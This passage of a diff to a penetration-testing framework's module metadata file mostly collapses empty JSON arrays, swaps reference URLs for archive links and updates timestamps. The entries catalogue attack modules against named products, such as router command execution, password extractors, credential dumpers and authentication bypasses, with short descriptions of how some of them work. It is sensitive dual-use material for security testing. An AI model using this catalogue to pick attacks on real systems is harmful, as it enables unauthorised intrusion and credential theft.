"auxiliary_admin/http/dlink_dir_300_600_exec_noauth": { "name": "D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution", "fullname": "auxiliary/admin/http/dlink_dir_300_600_exec_noauth", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-02-04", "type": "auxiliary", @@ -2137,20 +1925,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/dlink_dir_645_password_extractor": { "name": "D-Link DIR 645 Password Extractor", "fullname": "auxiliary/admin/http/dlink_dir_645_password_extractor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -2190,20 +1973,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/dlink_dsl320b_password_extractor": { "name": "D-Link DSL 320B Password Extractor", "fullname": "auxiliary/admin/http/dlink_dsl320b_password_extractor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -2242,20 +2020,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/foreman_openstack_satellite_priv_esc": { "name": "Foreman (Red Hat OpenStack/Satellite) users/create Mass Assignment", "fullname": "auxiliary/admin/http/foreman_openstack_satellite_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-06-06", "type": "auxiliary", @@ -2297,20 +2070,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/fortra_filecatalyst_workflow_sqli": { "name": "Fortra FileCatalyst Workflow SQL Injection (CVE-2024-5276)", "fullname": "auxiliary/admin/http/fortra_filecatalyst_workflow_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-06-25", "type": "auxiliary", @@ -2364,16 +2132,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/gitlab_password_reset_account_takeover": { "name": "GitLab Password Reset Account Takeover", "fullname": "auxiliary/admin/http/gitlab_password_reset_account_takeover", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-01-11", "type": "auxiliary", @@ -2413,20 +2177,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/gitstack_rest": { "name": "GitStack Unauthenticated REST API Requests", "fullname": "auxiliary/admin/http/gitstack_rest", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-01-15", "type": "auxiliary", @@ -2466,8 +2225,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -2492,9 +2250,7 @@ "auxiliary_admin/http/grafana_auth_bypass": { "name": "Grafana 2.0 through 5.2.2 authentication bypass for LDAP and OAuth", "fullname": "auxiliary/admin/http/grafana_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-08-14", "type": "auxiliary", @@ -2510,12 +2266,8 @@ "platform": "", "arch": "", "rport": 3000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-09-29 01:28:56 +0000", "path": "/modules/auxiliary/admin/http/grafana_auth_bypass.py", @@ -2524,20 +2276,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/hikvision_unauth_pwd_reset_cve_2017_7921": { "name": "Hikvision IP Camera Unauthenticated Password Change Via Improper Authentication Logic", "fullname": "auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-09-23", "type": "auxiliary", @@ -2592,16 +2339,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/hp_web_jetadmin_exec": { "name": "HP Web JetAdmin 6.5 Server Arbitrary Command Execution", "fullname": "auxiliary/admin/http/hp_web_jetadmin_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2004-04-27", "type": "auxiliary", @@ -2640,20 +2383,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/ibm_drm_download": { "name": "IBM Data Risk Manager Arbitrary File Download", "fullname": "auxiliary/admin/http/ibm_drm_download", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-04-21", "type": "auxiliary", @@ -2695,9 +2433,7 @@ "post_auth": false, "default_credential": false, "notes": { - "Reliability": [ - - ], + "Reliability": [], "Stability": [ "crash-safe" ], @@ -2718,9 +2454,7 @@ "auxiliary_admin/http/idsecure_auth_bypass": { "name": "Control iD iDSecure Authentication Bypass (CVE-2023-6329)", "fullname": "auxiliary/admin/http/idsecure_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2023-11-27", "type": "auxiliary", @@ -2773,16 +2507,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/iis_auth_bypass": { "name": "MS10-065 Microsoft IIS 5 NTFS Stream Authentication Bypass", "fullname": "auxiliary/admin/http/iis_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-07-02", "type": "auxiliary", @@ -2823,20 +2553,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/intersil_pass_reset": { "name": "Intersil (Boa) HTTPd Basic Authentication Password Reset", "fullname": "auxiliary/admin/http/intersil_pass_reset", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-09-10", "type": "auxiliary", @@ -2877,20 +2602,15 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/iomega_storcenterpro_sessionid": { "name": "Iomega StorCenter Pro NAS Web Authentication Bypass", "fullname": "auxiliary/admin/http/iomega_storcenterpro_sessionid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -2928,20 +2648,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/ivanti_vtm_admin": { "name": "Ivanti Virtual Traffic Manager Authentication Bypass (CVE-2024-7593)", "fullname": "auxiliary/admin/http/ivanti_vtm_admin", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-08-05", "type": "auxiliary", @@ -2996,16 +2711,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/jboss_bshdeployer": { "name": "JBoss JMX Console Beanshell Deployer WAR Upload and Deployment", "fullname": "auxiliary/admin/http/jboss_bshdeployer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -3045,8 +2756,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -3063,9 +2773,7 @@ "auxiliary_admin/http/jboss_deploymentfilerepository": { "name": "JBoss JMX Console DeploymentFileRepository WAR Upload and Deployment", "fullname": "auxiliary/admin/http/jboss_deploymentfilerepository", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -3105,8 +2813,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -3123,9 +2830,7 @@ "auxiliary_admin/http/jboss_seam_exec": { "name": "JBoss Seam 2 Remote Command Execution", "fullname": "auxiliary/admin/http/jboss_seam_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-07-19", "type": "auxiliary", @@ -3164,20 +2869,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/joomla_registration_privesc": { "name": "Joomla Account Creation and Privilege Escalation", "fullname": "auxiliary/admin/http/joomla_registration_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-10-25", "type": "auxiliary", @@ -3220,20 +2920,15 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/kaseya_master_admin": { "name": "Kaseya VSA Master Administrator Account Creation", "fullname": "auxiliary/admin/http/kaseya_master_admin", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-09-23", "type": "auxiliary", @@ -3273,20 +2968,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/katello_satellite_priv_esc": { "name": "Katello (Red Hat Satellite) users/update_roles Missing Authorization", "fullname": "auxiliary/admin/http/katello_satellite_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-03-24", "type": "auxiliary", @@ -3325,20 +3015,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/limesurvey_file_download": { "name": "Limesurvey Unauthenticated File Download", "fullname": "auxiliary/admin/http/limesurvey_file_download", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-10-12", "type": "auxiliary", @@ -3378,20 +3063,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/linksys_e1500_e2500_exec": { "name": "Linksys E1500/E2500 Remote Command Execution", "fullname": "auxiliary/admin/http/linksys_e1500_e2500_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-02-05", "type": "auxiliary", @@ -3431,20 +3111,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/linksys_tmunblock_admin_reset_bof": { "name": "Linksys WRT120N tmUnblock Stack Buffer Overflow", "fullname": "auxiliary/admin/http/linksys_tmunblock_admin_reset_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-02-19", "type": "auxiliary", @@ -3484,20 +3159,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/linksys_wrt54gl_exec": { "name": "Linksys WRT54GL Remote Command Execution", "fullname": "auxiliary/admin/http/linksys_wrt54gl_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-01-18", "type": "auxiliary", @@ -3538,20 +3208,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/manage_engine_dc_create_admin": { "name": "ManageEngine Desktop Central Administrator Account Creation", "fullname": "auxiliary/admin/http/manage_engine_dc_create_admin", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-12-31", "type": "auxiliary", @@ -3591,20 +3256,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/manageengine_dir_listing": { "name": "ManageEngine Multiple Products Arbitrary Directory Listing", "fullname": "auxiliary/admin/http/manageengine_dir_listing", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-01-28", "type": "auxiliary", @@ -3644,20 +3304,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/manageengine_file_download": { "name": "ManageEngine Multiple Products Arbitrary File Download", "fullname": "auxiliary/admin/http/manageengine_file_download", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-01-28", "type": "auxiliary", @@ -3697,20 +3352,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/manageengine_pmp_privesc": { "name": "ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection", "fullname": "auxiliary/admin/http/manageengine_pmp_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-11-08", "type": "auxiliary", @@ -3750,20 +3400,15 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/mantisbt_password_reset": { "name": "MantisBT password reset", "fullname": "auxiliary/admin/http/mantisbt_password_reset", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-04-16", "type": "auxiliary", @@ -3804,20 +3449,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/mutiny_frontend_read_delete": { "name": "Mutiny 5 Arbitrary File Read and Delete", "fullname": "auxiliary/admin/http/mutiny_frontend_read_delete", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-05-15", "type": "auxiliary", @@ -3828,7 +3468,7 @@ "references": [ "CVE-2013-0136", "US-CERT-VU-701572", - "URL-https://www.rapid7.com/blog/post/2013/05/15/new-1day-exploits-mutiny-vulnerabilities/" + "URL-http://web.archive.org/web/20250114041839/https://www.rapid7.com/blog/post/2013/05/15/new-1day-exploits-mutiny-vulnerabilities/" ], "platform": "", "arch": "", @@ -3849,15 +3489,14 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb", "is_install_path": true, "ref_name": "admin/http/mutiny_frontend_read_delete", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -3874,9 +3513,7 @@ "auxiliary_admin/http/netflow_file_download": { "name": "ManageEngine NetFlow Analyzer Arbitrary File Download", "fullname": "auxiliary/admin/http/netflow_file_download", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-11-30", "type": "auxiliary", @@ -3916,20 +3553,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/netgear_auth_download": { "name": "NETGEAR ProSafe Network Management System 300 Authenticated File Download", "fullname": "auxiliary/admin/http/netgear_auth_download", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-02-04", "type": "auxiliary", @@ -3969,20 +3601,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/netgear_pnpx_getsharefolderlist_auth_bypass": { "name": "Netgear PNPX_GetShareFolderList Authentication Bypass", "fullname": "auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-09-06", "type": "auxiliary", @@ -4038,16 +3665,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/netgear_r6700_pass_reset": { "name": "Netgear R6700v3 Unauthenticated LAN Admin Password Reset", "fullname": "auxiliary/admin/http/netgear_r6700_pass_reset", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-06-15", "type": "auxiliary", @@ -4098,25 +3721,19 @@ "Stability": [ "crash-service-down" ], - "Reliability": [ - - ], + "Reliability": [], "RelatedModules": [ "exploit/linux/telnet/netgear_telnetenable" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/netgear_r7000_backup_cgi_heap_overflow_rce": { "name": "Netgear R7000 backup.cgi Heap Overflow RCE", "fullname": "auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-04-21", "type": "auxiliary", @@ -4169,16 +3786,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/netgear_soap_password_extractor": { "name": "Netgear Unauthenticated SOAP Password Extractor", "fullname": "auxiliary/admin/http/netgear_soap_password_extractor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-02-11", "type": "auxiliary", @@ -4219,20 +3832,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/netgear_wnr2000_pass_recovery": { "name": "NETGEAR WNR2000v5 Administrator Password Recovery", "fullname": "auxiliary/admin/http/netgear_wnr2000_pass_recovery", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-12-20", "type": "auxiliary", @@ -4273,20 +3881,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/nexpose_xxe_file_read": { "name": "Nexpose XXE Arbitrary File Read", "fullname": "auxiliary/admin/http/nexpose_xxe_file_read", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -4297,7 +3900,7 @@ ], "description": "Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number\n of vectors. This vulnerability can allow an attacker to a craft special XML that\n could read arbitrary files from the filesystem. This module exploits the\n vulnerability via the XML API.", "references": [ - "URL-https://www.rapid7.com/blog/post/2013/08/16/r7-vuln-2013-07-24/" + "URL-http://web.archive.org/web/20230402081629/https://www.rapid7.com/blog/post/2013/08/16/r7-vuln-2013-07-24/" ], "platform": "", "arch": "", @@ -4318,27 +3921,22 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb", "is_install_path": true, "ref_name": "admin/http/nexpose_xxe_file_read", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/novell_file_reporter_filedelete": { "name": "Novell File Reporter Agent Arbitrary File Delete", "fullname": "auxiliary/admin/http/novell_file_reporter_filedelete", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -4378,20 +3976,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/nuuo_nvrmini_reset": { "name": "NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Default Configuration Load and Administrator Password Reset", "fullname": "auxiliary/admin/http/nuuo_nvrmini_reset", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-08-04", "type": "auxiliary", @@ -4431,20 +4024,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/openbravo_xxe": { "name": "Openbravo ERP XXE Arbitrary File Read", "fullname": "auxiliary/admin/http/openbravo_xxe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-10-30", "type": "auxiliary", @@ -4484,20 +4072,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/pfadmin_set_protected_alias": { "name": "Postfixadmin Protected Alias Deletion Vulnerability", "fullname": "auxiliary/admin/http/pfadmin_set_protected_alias", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-02-03", "type": "auxiliary", @@ -4536,20 +4119,15 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/pihole_domains_api_exec": { "name": "Pi-Hole Top Domains API Authenticated Exec", "fullname": "auxiliary/admin/http/pihole_domains_api_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-08-04", "type": "auxiliary", @@ -4592,9 +4170,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs", "config-changes", @@ -4603,16 +4179,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/rails_devise_pass_reset": { "name": "Ruby on Rails Devise Authentication Password Reset", "fullname": "auxiliary/admin/http/rails_devise_pass_reset", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-01-28", "type": "auxiliary", @@ -4656,20 +4228,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/scadabr_credential_dump": { "name": "ScadaBR Credentials Dumper", "fullname": "auxiliary/admin/http/scadabr_credential_dump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-05-28", "type": "auxiliary", @@ -4677,9 +4244,7 @@ "bcoles " ], "description": "This module retrieves credentials from ScadaBR, including\n service credentials and unsalted SHA1 password hashes for\n all users, by invoking the `EmportDwr.createExportData` DWR\n method of Mango M2M which is exposed to all authenticated\n users regardless of privilege level.\n\n This module has been tested successfully with ScadaBR\n versions 1.0 CE and 0.9 on Windows and Ubuntu systems.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 8080, @@ -4706,20 +4271,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/scrutinizer_add_user": { "name": "Plixer Scrutinizer NetFlow and sFlow Analyzer HTTP Authentication Bypass", "fullname": "auxiliary/admin/http/scrutinizer_add_user", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-07-27", "type": "auxiliary", @@ -4733,7 +4293,7 @@ "references": [ "CVE-2012-2626", "OSVDB-84318", - "URL-https://www.trustwave.com/spiderlabs/advisories/TWSL2012-014.txt" + "URL-http://web.archive.org/web/20130827051639/https://www.trustwave.com/spiderlabs/advisories/TWSL2012-014.txt" ], "platform": "", "arch": "", @@ -4754,27 +4314,22 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/admin/http/scrutinizer_add_user.rb", "is_install_path": true, "ref_name": "admin/http/scrutinizer_add_user", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/sophos_wpa_traversal": { "name": "Sophos Web Protection Appliance patience.cgi Directory Traversal", "fullname": "auxiliary/admin/http/sophos_wpa_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-04-03", "type": "auxiliary", @@ -4817,20 +4372,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/supra_smart_cloud_tv_rfi": { "name": "Supra Smart Cloud TV Remote File Inclusion", "fullname": "auxiliary/admin/http/supra_smart_cloud_tv_rfi", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-06-03", "type": "auxiliary", @@ -4869,20 +4419,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/sysaid_admin_acct": { "name": "SysAid Help Desk Administrator Account Creation", "fullname": "auxiliary/admin/http/sysaid_admin_acct", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-06-03", "type": "auxiliary", @@ -4921,20 +4466,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/sysaid_file_download": { "name": "SysAid Help Desk Arbitrary File Download", "fullname": "auxiliary/admin/http/sysaid_file_download", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-06-03", "type": "auxiliary", @@ -4974,20 +4514,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/sysaid_sql_creds": { "name": "SysAid Help Desk Database Credentials Disclosure", "fullname": "auxiliary/admin/http/sysaid_sql_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-06-03", "type": "auxiliary", @@ -5027,20 +4562,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/telpho10_credential_dump": { "name": "Telpho10 Backup Credentials Dumper", "fullname": "auxiliary/admin/http/telpho10_credential_dump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-09-02", "type": "auxiliary", @@ -5048,9 +4578,7 @@ "Jan Rude" ], "description": "This module exploits a vulnerability present in all versions of Telpho10 telephone system\n appliance. This module generates a configuration backup of Telpho10,\n downloads the file and dumps the credentials for admin login,\n phpmyadmin, phpldapadmin, etc.\n This module has been successfully tested on the appliance versions 2.6.31 and 2.6.39.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": 80, @@ -5077,20 +4605,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/tomcat_administration": { "name": "Tomcat Administration Tool Default Access", "fullname": "auxiliary/admin/http/tomcat_administration", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -5127,20 +4650,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/tomcat_ghostcat": { "name": "Apache Tomcat AJP File Read", "fullname": "auxiliary/admin/http/tomcat_ghostcat", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-02-20", "type": "auxiliary", @@ -5152,19 +4670,15 @@ "references": [ "CVE-2020-1938", "EDB-48143", - "URL-https://www.chaitin.cn/en/ghostcat" + "URL-http://web.archive.org/web/20250114042903/https://www.chaitin.cn/en/ghostcat" ], "platform": "", "arch": "", "rport": 8009, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2023-11-17 12:58:05 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/admin/http/tomcat_ghostcat.rb", "is_install_path": true, "ref_name": "admin/http/tomcat_ghostcat", @@ -5178,25 +4692,17 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/tomcat_utf8_traversal": { "name": "Tomcat UTF-8 Directory Traversal Vulnerability", "fullname": "auxiliary/admin/http/tomcat_utf8_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-01-09", "type": "auxiliary", @@ -5237,20 +4743,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/trendmicro_dlp_traversal": { "name": "TrendMicro Data Loss Prevention 5.5 Directory Traversal", "fullname": 